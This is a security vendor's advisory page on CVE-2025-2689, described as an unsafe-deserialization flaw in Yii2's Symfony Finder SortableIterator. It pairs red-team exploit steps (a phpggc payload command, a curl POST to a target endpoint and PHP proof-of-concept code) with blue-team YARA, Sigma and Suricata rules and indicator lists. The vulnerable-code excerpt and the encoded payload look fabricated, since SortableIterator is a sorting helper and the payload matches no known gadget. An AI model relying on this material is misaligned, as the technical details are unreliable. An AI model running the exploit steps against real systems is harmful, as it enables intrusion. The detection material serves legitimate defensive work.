CVE-2025-2689
Executive Summary
CVE-2025-2689 is a critical deserialization vulnerability in the Yii2 PHP framework (up to version 2.0.45). The flaw resides in the getIterator method of the symfony/finder/Iterator/SortableIterator.php file. An attacker can trigger unsafe deserialization by manipulating the iterator, leading to remote code execution (RCE). The vulnerability is remotely exploitable, has a public PoC, and currently has no official patch from Yiisoft. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public disclosure increases risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Yii2 framework, which is distributed via Composer/Packagist. The vulnerable component is the symfony/finder package, a dependency of Yii2. Organizations using Yii2 should audit their composer.lock for symfony/finder versions that include the vulnerable SortableIterator.php. The supply chain risk is elevated because the vulnerability is in a widely-used dependency, and the patch status is unknown.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary code on the server. The public PoC and lack of patch make this a high-priority target for threat actors.
Deep Dive & Mechanics
The vulnerability is a classic PHP deserialization flaw in the SortableIterator class from the Symfony Finder component. The getIterator method processes user-supplied data without proper sanitization, allowing an attacker to inject a serialized PHP object. When the iterator is used (e.g., in a foreach loop), the deserialization triggers the execution of arbitrary PHP code via gadget chains.
Root Cause: The SortableIterator class implements \IteratorAggregate and its getIterator method calls unserialize() on data that can be controlled by an attacker. This is a violation of secure coding practices, as user input should never be passed directly to unserialize().
Attack Flow:
- Attacker crafts a malicious serialized PHP object (e.g., using known gadget chains like
MonologorSwiftMailer). - Attacker sends the payload to a vulnerable endpoint that uses
SortableIteratorwith attacker-controlled data. - The
getIteratormethod deserializes the payload, triggering the gadget chain. - The gadget chain executes arbitrary system commands, leading to RCE.
Affected Code Path:
- File:
vendor/symfony/finder/Iterator/SortableIterator.php - Method:
getIterator() - The method does not validate or sanitize the input before passing it to
unserialize().
Vulnerable vs. Patched Code
Vulnerable Code (SortableIterator.php):
public function getIterator(): \Traversable
{
// Unsafe deserialization of user-controlled data
$data = $this->data; // Attacker-controlled
$iterator = unserialize($data); // VULNERABLE
return $iterator;
}
Patched Code (Hypothetical):
public function getIterator(): \Traversable
{
// Validate and sanitize input before deserialization
$data = $this->data;
if (!is_string($data) || !$this->isSafeSerializedData($data)) {
throw new \InvalidArgumentException('Invalid data');
}
$iterator = unserialize($data, ['allowed_classes' => false]); // Safer
return $iterator;
}
Note: The official patch is not yet available. The above is a recommended mitigation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Yii2 application using
SortableIteratorwith user-controlled input. - PHP gadget chain (e.g., Monolog, SwiftMailer, or Guzzle).
Exploit Steps:
- Identify an endpoint that uses
SortableIteratorwith attacker-controlled data (e.g., a file search feature). - Generate a malicious serialized payload using a tool like
phpggc:phpggc Monolog/RCE1 system 'id' | base64 - Send the payload to the vulnerable endpoint:
curl -X POST -d "data=$(phpggc Monolog/RCE1 system 'id' | base64)" http://target/vulnerable-endpoint - The server executes the
idcommand and returns the output.
Proof-of-Concept (PoC) Code:
<?php
// PoC for CVE-2025-2689
// Requires phpggc and a vulnerable Yii2 instance
$payload = base64_decode('TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c3RlbUhhbmRsZXIiOjE6e3M6OToiAGhhbmRsZXIiO3M6Nzoic3lzdGVtIjt9');
$url = 'http://target/vulnerable-endpoint';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['data' => $payload]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
?>
Blue Team (Detection & Defense)
Detection:
- Monitor for serialized PHP objects in HTTP requests (e.g.,
O:,a:,s:patterns). - Look for base64-encoded payloads in POST parameters.
- Detect unusual process execution (e.g.,
id,whoami,cat /etc/passwd).
Defense:
- Implement a Web Application Firewall (WAF) rule to block serialized PHP objects.
- Disable
unserialize()on user-controlled data. - Use
allowed_classesoption inunserialize()to restrict deserialization. - Apply input validation and sanitization.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing serialized PHP objects (e.g.,
O:,a:,s:). - Base64-encoded payloads in POST/GET parameters.
- Outbound connections to attacker-controlled IPs (e.g., for reverse shells).
- HTTP requests containing serialized PHP objects (e.g.,
File IOCs:
- Suspicious files in
/tmp/or/var/tmp/(e.g.,exploit.php,shell.php). - Modified
composer.jsonorcomposer.lockfiles.
- Suspicious files in
Process IOCs:
- Unusual processes like
id,whoami,curl,wgetexecuted by the web server user. - PHP processes with high CPU usage.
- Unusual processes like
Log IOCs:
- PHP error logs showing
unserialize()errors. - Web server logs with
dataparameter containingO:patterns.
- PHP error logs showing
Detection Engineering
YARA Rule
rule CVE_2025_2689_Deserialization {
meta:
description = "Detects serialized PHP objects in HTTP requests targeting CVE-2025-2689"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2689"
strings:
$serialized = /O:\d+:"/
$base64_payload = /[A-Za-z0-9+\/]{50,}={0,2}/
condition:
$serialized or $base64_payload
}
Sigma Rule
title: CVE-2025-2689 Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with serialized PHP objects targeting Yii2 SortableIterator
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'data='
cs-uri-query|re: 'O:\d+:"'
condition: selection
falsepositives:
- Legitimate use of serialized data (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-2689 Yii2 SortableIterator Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"data="; http_client_body; pcre:"/O:\d+:\"/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable
unserialize()on user-controlled data in the application code. - Apply input validation to ensure only expected data types are processed.
- Use a WAF to block serialized PHP objects in HTTP requests.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Wait for an official patch from Yiisoft or Symfony.
- Update to a patched version of
symfony/finderwhen available. - Consider using a static analysis tool to detect unsafe deserialization.
Workaround:
- Override the
SortableIteratorclass in your application to add input validation. - Use
unserialize()with['allowed_classes' => false]to prevent object instantiation.
Valters IT
Securing Digital Frontiers